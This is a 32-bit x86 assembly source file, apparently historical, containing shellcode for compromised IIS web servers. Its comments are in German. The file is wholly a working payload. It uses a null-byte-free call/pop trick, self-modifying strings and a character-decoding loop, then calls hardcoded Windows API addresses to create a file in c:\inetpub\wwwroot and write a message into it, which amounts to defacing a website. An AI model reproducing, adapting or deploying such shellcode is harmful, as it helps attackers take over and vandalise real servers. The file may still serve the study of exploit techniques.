; IIS Shellcode by Felix von Leitner and Özgür Kesim BITS 32 global WinMain WinMain: ;int 3 ; Zum Debuggen... jmp short tmp2 ; das herumgejumpe, damit der absolute call keine Nullen im Offset hat (rückwärts=fffff..) blub: jmp short tmp3 tmp2: call blub ; tut offset(tmp3) auf den Stack. tmp3: pop eax ; eax ist jetzt offset(tmp3) push eax add eax,0x01010201 sub edi,edi mov ebx,edi mov byte [eax+stringend-tmp3-0x01010201],bl add byte [eax+stringdot-tmp3-0x01010201],'.'-'!' push ebx ; push 0 lea ecx,[ebx+1] ; ecx=1 shl ecx,7 ; ecx=1 shl 7=128 push ecx ; push 128 lea ecx,[ebx+2] ; ecx=2 push ecx ; push 2 push ebx ; push 0 push ebx ; push 0 inc ebx ; ebx=1 shl ebx,30 ; ebx=0x40000000 (irgendein beklopptes NT-Flag) push ebx ; push 0x40000000 lea edx,[eax-tmp3+string-0x01010201] ; Hier waren Nullen drin push edx ; push offset(string) mov esi,0x77f10b0e call esi ; CreateFile(...); pop ecx ; ecx=offset(tmp3) push ecx add ecx,0x01010201 lea ebx,[ecx-tmp3+message-0x01010201] sub edi,edi mov edx,edi mov dl,messageend-message decodeloop: mov dh,byte [ebx] cmp dh,'_' jne notus add byte [ebx],' '-'_' jmp short next notus: cmp dh,'!' jne notus2 add byte [ebx],'.'-'!' jmp short next notus2: cmp dh,'}' jne next add byte [ebx],'/'-'}' next: inc ebx dec dl jnz decodeloop sub ebx,ebx push eax ; das Handle auch auf den Stack tun push ebx ; 0 lea edx,[ecx-tmp3+written-0x51515251] add edx,0x50505050 nop push edx ; push offset(written) lea edx,[ecx-tmp3+message-0x01010201] mov ecx,ebx or esi,esi or cl,messageend-message push ecx ; push strlen(message) push edx push eax mov esi,0x77f0d323 xor edi,eax call esi or edi,eax sub ebx,ebx push ebx mov esi,0x77f19fB2 call esi ; ExitProcess(0) db 1 message db '' messageend db 23 string db "c:\inetpub\wwwroot\whatever" stringdot db "!" stringcont db "htm" stringend db 'l' written dd 0xdeadbeef ; extern _CreateFileA@28 ; extern _WriteFile@20 ; extern _CloseHandle@4